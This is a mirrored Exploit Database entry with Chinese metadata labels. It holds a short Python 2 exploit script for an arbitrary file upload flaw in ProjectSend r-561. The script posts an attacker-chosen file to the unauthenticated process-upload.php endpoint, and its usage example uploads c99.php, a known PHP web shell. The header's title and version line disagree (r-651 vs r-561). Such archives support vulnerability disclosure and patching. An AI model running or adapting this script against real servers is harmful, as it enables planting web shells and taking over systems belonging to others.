ProjectSend r-561 – Arbitrary File Upload

• Exploit Database
• 112 阅读

• 作者： Fady Mohammed Osman
  日期： 2014-12-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35424/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

  #!/usr/bin/python   # Exploit Title: ProjectSend r-651 File Upload # Date: December 01, 2014 # Exploit Author: Fady Mohamed Osman (Exploit-db id:2986) # Vendor Homepage: http://www.projectsend.org/ # Software Link: http://www.projectsend.org/download/67/ # Version: r-561 # Tested on: Kubuntu 14.10 x64     import sys import requests scriptName = sys.argv[0] if (len(sys.argv) != 3): print "Please enter the target path and the file to upload." print "Example : " + scriptName + " http://10.0.0.2/ProjectSend-r561 c99.php" quit() print "Exploiting ProjectSend-r561 File Upload .." url = sys.argv[1] + "/" + 'process-upload.php' + '?name=' + sys.argv[2] print "Sending Url " + url files = {'file': open(sys.argv[2], 'rb')} r = requests.post(url, files=files) print r.text